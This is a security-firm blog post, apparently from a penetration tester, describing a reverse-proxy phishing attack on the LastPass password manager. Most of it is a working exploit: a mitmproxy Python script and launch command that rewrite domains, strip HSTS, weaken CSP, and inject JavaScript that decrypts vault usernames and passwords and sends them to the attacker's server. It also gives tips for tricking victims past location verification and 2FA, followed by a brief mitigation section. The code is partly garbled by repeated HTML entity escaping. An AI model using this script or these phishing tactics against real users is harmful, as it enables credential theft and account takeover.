Utilizing Reverse Proxies to Inject Malicious Code & Extract Sensitive Information
The Critical Dangers Behind LastPass Password Manager
Reverse Proxies Setup for Malicious Purposes
Utilizing reverse proxies offers a more advanced approach for creating phishing web pages that not only allow users to fully authenticate to their accounts through a malicious site, but also automate the theft of information within the account. Learn more about phishing for passwords with cloned website here.
Reverse proxies are servers that sit between clients and web servers, often to increase security, performance, and reliability of web applications. From an attacker’s perspective, reverse proxies can be used to sit between victim users and services of interest in order to extract sensitive information or inject malicious code. In general, the image below reflects a reverse proxy setup for malicious purposes:
In this scenario the Victim User will interact with AttackerDomain.com thinking they are talking to a legitimate service that is hosted at TargetDomain.com.
When Victim User makes a request to AttackerDomain.com, the reverse proxy will intercept the HTTP request and modify the HTTP header values (e.g. the Host header) and HTTP body (as needed) with a script. This allows the request to be passed to TargetDomain.com in a way that makes it seem like the request originated from Attacker’s Reverse Proxy and not from the Victim User requesting AttackerDomain.com.
Similarly, when the server at TargetDomain.com has a response to the HTTP request, the HTTP response will contain mentions of TargetDomain.com in the headers (e.g. domain-scoped cookies) and body (e.g. form POST URLs). Since Victim User’s user-agent is not aware of TargetDomain.com, the reverse proxy must modify the domains in the response. Otherwise, subsequent requests made by Victim User will be missing cookies or will be made to TargetDomain.com, circumventing the attacker’s reverse proxy.
Since Attacker’s Reverse Proxy has full control over all HTTP headers and content passed between Victim User and TargetDomain.com, it is advantageous to modify headers beyond just domains. For example, stripping headers related to cache control or setting the Content-Security-Header to unsafe values.
The HTTP proxy tool mitmproxy
can be used to accomplish all the above. In short, the mitmproxy
allows interactive traffic examination and modification of HTTP traffic. Simplistic modifications can be performed with regular expressions via the command line. More advanced modifications can be done with Python 3 and the mitmproxy
library.
Utilizing reverse proxies offers a more advanced approach for creating phishing websites that not only allow the Victim User to fully authenticate to their account through a malicious site, but also how to automate the theft of information within the account.
In this example, we are going to target LastPass, a commonly used cloud-based password management solution. Learn more about how LastPass works at a high level here.
Rather than phish for the master password, what we are going to do is spin up a reverse proxy on a malicious domain and utilize Python scripting to inject JavaScript into the authentication process. This code will send us the URLs, usernames, and passwords in real-time when a user authenticates to our server.
Code Analysis, Injection, and Credential Theft
During the authentication process, we see a request to the following URL: https://lastpass.com/m.php/newvault
The response is a JavaScript file. Analyzing this code, we realize that it handles many of the client-side operations for database encoding and decoding, encryption and decryption, master password changes, etc.
Because we are interested in capturing credentials as they are decrypted in real-time, we focus on the following for loop in the postacctsload()
function:
<br /> 5438 function postacctsload() {<br /> 5439 var a, b = {};<br /> 5440 for (a = 0; a &amp;amp;amp;amp;amp;lt; g_sites.length; a++) g_sites[a].url = AES.hex2url(g_sites[a].url),<br /> &amp;amp;amp;amp;amp;quot;undefined&amp;amp;amp;amp;amp;quot; != typeof g_sites[a].username &amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp; (g_sites[a].unencryptedUsername =<br /> lpmdec_acct(g_sites[a].username, !0, g_sites[a], g_shares)), g_SUPPORTSINGLE || (g_sites[a].pwch<br /> = !1), b[g_sites[a].aid] = g_sites[a];<br /> 5441 g_sites = b;<br /> 5442 b = {};<br /> 5443 for (a = 0; a &amp;amp;amp;amp;amp;lt; g_securenotes.length; a++) g_securenotes[a].url =<br /> AES.hex2url(g_securenotes[a].url), b[g_securenotes[a].aid] = g_securenotes[a];<br /> 5444 g_securenotes = b;<br /> 5445 b = {};<br /> 5446 for (a = 0; a &amp;amp;amp;amp;amp;lt; g_applications.length; a++) g_applications[a].appname =<br /> 5447 AES.hex2url(g_applications[a].appname), b[g_applications[a].appaid] =<br /> g_applications[a];<br /> 5448 g_applications = b;<br /> 5449 for (a = 0; a &amp;amp;amp;amp;amp;lt; g_identities.length; a++) g_identities[a].deciname =<br /> lpdec(g_identities[a].iname);<br /> 5450 &amp;amp;amp;amp;amp;quot;function&amp;amp;amp;amp;amp;quot; == typeof get_data_handler &amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp; get_data_handler();<br /> 5451 if (&amp;amp;amp;amp;amp;quot;undefined&amp;amp;amp;amp;amp;quot; != typeof foundmsfi) {<br /> 5452 postdata = &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;quot;;<br /> 5453 b = 0;<br /> 5454 for (a in msfids)<br /> 5455 if (msfids.hasOwnProperty(a)) {<br /> 5456 for (var c = msfids[a].shareid, d = &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;quot;, f = null, h = 0; h<br /> &amp;amp;amp;amp;amp;lt; g_shares.length; h++)<br /> 5457 if (g_shares[h].id == c) {<br /> 5458 d = AES.bin2hex(g_shares[h].key);<br /> 5459 f = g_shares[h].decsharename;<br /> 5460 break<br /> 5461 } c = new RSAKey;<br /> 5462 parse_public_key(c, msfids[a].key) &amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp; f &amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp; (d = c.encrypt(d), h = lpenc(f, g_shares[h].key),<br /> postdata += &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;sharekey&amp;amp;amp;amp;amp;quot; + b + &amp;amp;amp;amp;amp;quot;=&amp;amp;amp;amp;amp;quot; + encodeURIComponent(d) + &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;uid&amp;amp;amp;amp;amp;quot; + b + &amp;amp;amp;amp;amp;quot;=&amp;amp;amp;amp;amp;quot; + encodeURIComponent(msfids[a].uid), postdata += &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;shareid&amp;amp;amp;amp;amp;quot;<br /> + b + &amp;amp;amp;amp;amp;quot;=&amp;amp;amp;amp;amp;quot; + encodeURIComponent(msfids[a].shareid), postdata += &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;decsharename&amp;amp;amp;amp;amp;quot; + b + &amp;amp;amp;amp;amp;quot;=&amp;amp;amp;amp;amp;quot; + encodeURIComponent(f), postdata += &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;encsharename&amp;amp;amp;amp;amp;quot;<br /> + b + &amp;amp;amp;amp;amp;quot;=&amp;amp;amp;amp;amp;quot; + encodeURIComponent(h), b++)<br /> 5463 } postdata += &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;token=&amp;amp;amp;amp;amp;quot; + g_token;<br /> 5464 b = 0;<br /> 5465 $.ajax({<br /> 5466 type: &amp;amp;amp;amp;amp;quot;POST&amp;amp;amp;amp;amp;quot;,<br /> 5467 url: base_url + &amp;amp;amp;amp;amp;quot;process_msf.php&amp;amp;amp;amp;amp;quot;,<br /> 5468 data: postdata,<br /> 5469 failure: function(a) {<br /> 5470 console.log(a)<br /> 5471 }<br /> 5472 })<br /> 5473 }<br /> 5474 }<br />
On line 5440 we see a for loop incrementing through sites (g_sites[a].url
) and decoding them with AES.hex2url. Once the sites are decoded, the usernames are decrypted with the function lpmdec_acct
for each site. Within this function we do not see password being decrypted. However, this is fine as the lpmdec_acct
function will decrypt those as well.
Within the for loop on line 5440 in the last statement, we see the following code:
b[g_sites[a].aid] = g_sites[a];
While not an interesting line of code, it is unique. So, what we can do is use mitmproxy
to find this code and then replace it with the following JavaScript:
<br /> b[g_sites[a].aid] = g_sites[a];</p> <p>for (a = 0; a &amp;amp;amp;amp;amp;lt; g_sites.length; a++)<br /> {<br /> x_url = g_sites[a].url;<br /> x_username = lpmdec_acct(g_sites[a].username, true, g_sites[a], g_shares);<br /> x_password = lpmdec_acct(g_sites[a].password, true, g_sites[a], g_shares);<br /> $.get(&amp;amp;amp;amp;amp;quot;https://&amp;amp;amp;amp;amp;quot; + document.domain + &amp;amp;amp;amp;amp;quot;/CREDZZZ/&amp;amp;amp;amp;amp;quot; + btoa(x_url) + &amp;amp;amp;amp;amp;quot;/&amp;amp;amp;amp;amp;quot; + btoa(x_username) + &amp;amp;amp;amp;amp;quot;/&amp;amp;amp;amp;amp;quot; + btoa(x_password));<br /> }<br />
The idea here is that a for loop will iterate through URLs, decrypt the usernames and passwords, base64-encode them, and then the user-agent will make a jQuery GET request back to the proxy server to log the credentials. The tag CREDZZZ is used so that these requests can be picked out of other requests.
To accomplish the totality of the attack with mitmproxy
, we can utilize the “-s” switch to run it with custom Python 3 code. The command we can use is the following:
<br /> sudo mitmdump --set block_global=false -s &amp;amp;amp;amp;amp;quot;lpmitm-https.py&amp;amp;amp;amp;amp;quot; --mode reverse:https://lastpass.com -p 443 --certs cert.pem<br />
Finally, lpmitm-https.py
is the following:
<br /> import mitmproxy<br /> import base64<br /> import urllib<br /> import re</p> <p>sitePhishing = b&amp;amp;amp;amp;amp;quot;lastpass.secure-site.dev&amp;amp;amp;amp;amp;quot;<br /> siteLastPass = b&amp;amp;amp;amp;amp;quot;lastpass.com&amp;amp;amp;amp;amp;quot;<br /> siteException = b&amp;amp;amp;amp;amp;quot;lp-cdn.lastpass.com&amp;amp;amp;amp;amp;quot;</p> <p>def request(flow):</p> <p># Modify request headers so they are more favorable to this attack<br /> flow.request.headers.pop(&amp;amp;amp;amp;amp;quot;If-Modified-Since&amp;amp;amp;amp;amp;quot;, None)<br /> flow.request.headers.pop(&amp;amp;amp;amp;amp;quot;Cache-Control&amp;amp;amp;amp;amp;quot;, None)<br /> flow.request.headers.pop(&amp;amp;amp;amp;amp;quot;referer&amp;amp;amp;amp;amp;quot;, None)</p> <p># Find/replace in headers (sitePhishing -&amp;amp;amp;amp;amp;gt; siteLastPass)<br /> for key in flow.request.headers:<br /> hdr_values = flow.request.headers.get_all(key)<br /> hdr_values = [re.sub(sitePhishing.decode(&amp;amp;amp;amp;amp;quot;utf-8&amp;amp;amp;amp;amp;quot;), siteLastPass.decode(&amp;amp;amp;amp;amp;quot;utf-8&amp;amp;amp;amp;amp;quot;), s) for s in hdr_values]<br /> flow.request.headers.set_all(key, hdr_values)</p> <p># Find/replace in HTTP body (sitePhishing -&amp;amp;amp;amp;amp;gt; siteLastPass)<br /> flow.request.content = flow.request.content.replace(sitePhishing,siteLastPass)</p> <p># Save the captured credentials locally to the server.<br /> # The injected JS will make a request to our server with the&amp;amp;amp;amp;amp;quot;CREDZZZZ&amp;amp;amp;amp;amp;quot; tag in the URL.<br /> # If this tag is present, the requested URL path is parsed for URL, username, and password.<br /> if &amp;amp;amp;amp;amp;quot;CREDZZZ&amp;amp;amp;amp;amp;quot; in flow.request.path:<br /> r = flow.request.path.split('/')<br /> s = len(r)<br /> text_file = open(&amp;amp;amp;amp;amp;quot;Output.txt&amp;amp;amp;amp;amp;quot;, &amp;amp;amp;amp;amp;quot;a&amp;amp;amp;amp;amp;quot;)<br /> text_file.write(&amp;amp;amp;amp;amp;quot;---n&amp;amp;amp;amp;amp;quot;)<br /> text_file.write(&amp;amp;amp;amp;amp;quot;URL = &amp;amp;amp;amp;amp;quot; + base64.b64decode(r[s-3]).decode('utf-8') + &amp;amp;amp;amp;amp;quot;n&amp;amp;amp;amp;amp;quot;)<br /> text_file.write(&amp;amp;amp;amp;amp;quot;Username = &amp;amp;amp;amp;amp;quot; + base64.b64decode(r[s-2]).decode('utf-8') + &amp;amp;amp;amp;amp;quot;n&amp;amp;amp;amp;amp;quot;)<br /> text_file.write(&amp;amp;amp;amp;amp;quot;Password = &amp;amp;amp;amp;amp;quot; + base64.b64decode(r[s-1]).decode('utf-8') + &amp;amp;amp;amp;amp;quot;n&amp;amp;amp;amp;amp;quot;)<br /> text_file.write(&amp;amp;amp;amp;amp;quot;n&amp;amp;amp;amp;amp;quot;)<br /> text_file.close()</p> <p>def response(flow):</p> <p># Modify response headers so they are more favorable to this attack<br /> flow.response.headers.pop(&amp;amp;amp;amp;amp;quot;Strict-Transport-Security&amp;amp;amp;amp;amp;quot;, None)<br /> flow.response.headers[&amp;amp;amp;amp;amp;quot;Referrer-Policy&amp;amp;amp;amp;amp;quot;] = &amp;amp;amp;amp;amp;quot;no-referrer&amp;amp;amp;amp;amp;quot;</p> <p># Find/replace in headers (siteLastPass -&amp;amp;amp;amp;amp;gt; sitePhishing)<br /> for key in flow.response.headers:<br /> hdr_values = flow.response.headers.get_all(key)<br /> hdr_values = [re.sub(siteLastPass.decode(&amp;amp;amp;amp;amp;quot;utf-8&amp;amp;amp;amp;amp;quot;), sitePhishing.decode(&amp;amp;amp;amp;amp;quot;utf-8&amp;amp;amp;amp;amp;quot;), s) for s in hdr_values]<br /> flow.response.headers.set_all(key, hdr_values)</p> <p># Find/replace in HTTP body (siteLastPass -&amp;amp;amp;amp;amp;gt; sitePhishing)<br /> flow.response.content = flow.response.content.replace(siteLastPass,sitePhishing)</p> <p># The find/replace code above also modifies code that references the LastPass CDN.<br /> # Since we won't be proxying the CDN, this is an exception to the replacement rule.<br /> flow.response.content = flow.response.content.replace(b&amp;amp;amp;amp;amp;quot;lp-cdn.&amp;amp;amp;amp;amp;quot;+sitePhishing,siteException)</p> <p># Set CSP to unsafe values so that the page loads correctly.<br /> flow.response.headers[&amp;amp;amp;amp;amp;quot;content-security-policy&amp;amp;amp;amp;amp;quot;] = &amp;amp;amp;amp;amp;quot;default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';&amp;amp;amp;amp;amp;quot;<br /> flow.response.headers[&amp;amp;amp;amp;amp;quot;x-content-security-policy&amp;amp;amp;amp;amp;quot;] = &amp;amp;amp;amp;amp;quot;default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';&amp;amp;amp;amp;amp;quot;</p> <p># Inject code to decrypt the LastPass vault and send it to attacker's server<br /> flow.response.content = flow.response.content.replace(b'b[g_sites[a].aid]=g_sites[a];', b'b[g_sites[a].aid] = g_sites[a]; for (a = 0; a &amp;amp;amp;amp;amp;lt; g_sites.length; a++) x_url = g_sites[a].url, console.log(x_url), x_username = lpmdec_acct(g_sites[a].username, true, g_sites[a], g_shares), console.log(x_username), x_password = lpmdec_acct(g_sites[a].password, true, g_sites[a], g_shares), console.log(x_password), $.get(&amp;amp;amp;amp;amp;quot;https://&amp;amp;amp;amp;amp;quot;+document.domain+&amp;amp;amp;amp;amp;quot;/CREDZZZ/&amp;amp;amp;amp;amp;quot;+btoa(x_url)+&amp;amp;amp;amp;amp;quot;/&amp;amp;amp;amp;amp;quot;+btoa(x_username)+&amp;amp;amp;amp;amp;quot;/&amp;amp;amp;amp;amp;quot;+btoa(x_password));')<br />
The entire attack from the perspectives of both the victim (left) and the attacker (right) can be seen in the following video:
As can be seen in the video, when the user authenticates to LastPass the Python script with mitmproxy
injects the JavaScript to decrypt the usernames and passwords and sends the results to the attacker in real-time.
By the time the page fully loads, the attack is complete, and the user has no further recourse.
One caveat to this attack is that the victim user will likely receive an email indicating that they are authenticating from a new location and must approve this. In a local attack, location verification will likely not be necessary.
However, in remote attacks the user will receive this email by default. Likely, the user will approve this since they had just attempted to authenticate and were warned that they would need to approve this:
In a targeted attack, the geolocation of the attacker’s server can be set to match the location of the target’s location.
However, it is certain that several victim users will ignore the text of the email and simply click on the “Verify my New Location” box, not bothering to notice that they attempted to login from Switzerland rather than Atlanta, Georgia.
If the victim user verifies the new login location, then the IP address of the attacker’s reverse proxy will be whitelisted for that account.
If the target victim does not attempt to reauthenticate through the reverse proxy (instead opting to login at the verification page), then the attacker can phish the target victim again later and no further verifications will be requested.
If the user disabled location verification in their account settings, then the first phish will be successful.
Due to the way LastPass’s authentication and database decryption work, simply proxying traffic and sniffing for the login hash vla.hash
will not be sufficient to compromise the account.
If the attacker wishes to do so, they can inject JavaScript code to capture the plaintext password.
Then when the user verifies their new login location (the IP address of the reverse proxy), the attacker can attempt to authenticate to the victim user’s LastPass account using this password.
If 2FA is in the way, the attacker will still need to obtain the code from the user. Again, this is where the reverse proxy comes in handy as it will handle all of that. Attempting to ask for the 2FA directly, such as over SMS or phone, may raise suspicions depending on the target.
Other platforms tend to be less restrictive with regards to new device/new location verification. For example, using this reverse proxy attack to target email accounts work well because there is not likely any other out-of-band method setup to verify a new login.
In addition, in many of our client engagements we have used reverse proxies to authenticate to remote access sites, team collaboration platforms, cloud storage, etc. and have not had to deal with new device/new location verifications.
In the few cases that we have had to deal with it, it was easy to trick the victim user again. When someone can be tricked once, the second time is often just as easy as the first when the reverse proxy they are interacting with acts just as real as the actual site they are so familiar with.
How to Reduce the Risk of Your Applications Becoming Victims to Reverse Proxy Attacks
Is this attack limited to just attacking LastPass? Of course not! This attack can be modified to attack any number of targets including, but not limited to, OWA, team collaboration platforms like Slack, and even WebSockets.
A few years ago, we demonstrated to a Fortune 500 financial-services client of VerSprite how their insecure use of WebSockets in a trading application left users susceptible to reverse proxy attacks. In this way, attackers could intercept and modify trades or perform any other number of malicious actions on their clients while the browser still pointed the victim to the domain they were expecting and trusted.
So, what can be done about this? Below are some mitigations that businesses can take to reduce the risk of their applications and users becoming victims to reverse proxy attacks.
HTTP parameters that allow URL input as part of the business logic will need to be validated against URL/domain whitelists. Unvalidated URLs can often be abused by attackers to inject a reverse proxy. In the case of the Fortune 500 company mentioned above, VerSprite was able to inject a reverse proxy into a GET parameter on the company’s domain. Since this parameter was not validated, VerSprite could perform a man-in-the-middle attack on all trading activity for the entire session.
Dynamic code obfuscation with URL obfuscation can be used to make attacks more difficult to perform. Code can also be injected in form of Cascading Style Sheets or JavaScript that verifies the domain that the user is visiting matches the domain from which the code was originally received, However, given that an attacker controls the traffic, these will eventually be overcome by motivated attackers. Nonetheless, any attempts to increase the cost for an attacker to overcome these tactics will thwart less motivated attackers.
Encourage the use of FIDO Universal Two Factor (U2F). Users would carry a U2A device such as a Yubikey that creates unique keypairs for each website that are validated by the client-side to verify site authenticity. With this, even if a user was tricked into visiting a phishing page, their U2F device will not authenticate to the phishing page.
Monitor for suspicious logins. For example, multiple users that are unrelated to each other authenticating from a single unknown IP address. If a user authenticates from a new IP address or computer, send a verification email and require that the login be verified from the same IP address or computer from which the new login occurred. For example, if a new login occurs on an unknown computer in Romania but the user verifies their new login from a different computer in the USA, this should be treated as suspicious.
Alert users to unknown login locations. Information should be specific without being overwhelming. For example, alert users about new geolocations, IP addresses, and computers. Inform the users that if this seems suspicious, to change their password and to alert the security teams.
Due to the nature of this attack, the behavior of the malicious sites perfectly mimics the site that targeted users know and trust. With a malicious reverse proxy that is setup correctly, users can authenticate and perform all actions they would expect to be able to perform through a malicious domain.
As such, users are easily tricked and can remain convinced of the site’s legitimacy long after that they visited the correct site. Nonetheless, it is still helpful to remind users to verify the URLs they are visiting before entering sensitive information on any website. Users should also be encouraged to bookmark URLs for critical services that were verified in the past rather than visiting links provided by unverified and untrusted sources.
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /